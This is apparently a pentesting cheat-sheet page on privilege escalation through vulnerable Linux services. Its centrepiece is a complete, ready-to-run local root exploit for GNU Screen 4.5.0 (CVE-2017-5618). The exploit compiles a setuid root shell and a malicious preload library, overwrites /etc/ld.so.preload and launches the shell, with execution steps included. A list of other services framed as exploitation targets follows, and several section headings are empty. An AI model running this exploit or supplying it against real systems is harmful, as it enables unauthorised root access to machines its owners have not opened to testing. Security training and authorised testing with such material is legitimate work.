βš™οΈVulnerable Services

🎯 Overview

Installed services with known vulnerabilities can provide privilege escalation vectors. Version identification and exploit matching are key to discovering these opportunities.

πŸ“Ί Screen Privilege Escalation (CVE-2017-5618)

Vulnerability Details

  • Affected: GNU Screen version 4.5.0

  • Impact: Local privilege escalation to root

  • Method: ld.so.preload file overwrite vulnerability

Version Check

# Check Screen version
screen -v
# Vulnerable: Screen version 4.05.00 (GNU) 10-Dec-16

Exploitation

# Download/create screen exploit
cat << 'EOF' > screen_exploit.sh
#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << 'LIBEOF' > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
LIBEOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << 'SHELLEOF' > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
SHELLEOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
EOF

# Execute exploit
chmod +x screen_exploit.sh
./screen_exploit.sh

πŸ” Service Enumeration

Version Identification

Package Version Check

🚨 Common Vulnerable Services

Screen 4.5.0

  • CVE: CVE-2017-5618

  • Exploit: ld.so.preload overwrite

  • Impact: Root shell

Apache/Nginx

MySQL/MariaDB

SSH

πŸ”§ Exploitation Framework

Service Exploit Workflow

Quick Vulnerability Check

🎯 Exploitation Targets

High-Impact Services

  • Screen 4.5.0 - Direct root exploit

  • Apache < 2.4.30 - Various module vulnerabilities

  • MySQL/MariaDB - UDF exploitation if root

  • Sudo < 1.9.5 - Multiple CVEs available

  • OpenSSH - Various authentication bypasses

Service-Specific Exploits

πŸ”‘ Quick Reference

Immediate Checks

Emergency Exploitation


Vulnerable services provide direct privilege escalation opportunities - outdated software versions combined with known exploits often result in immediate root access.

Last updated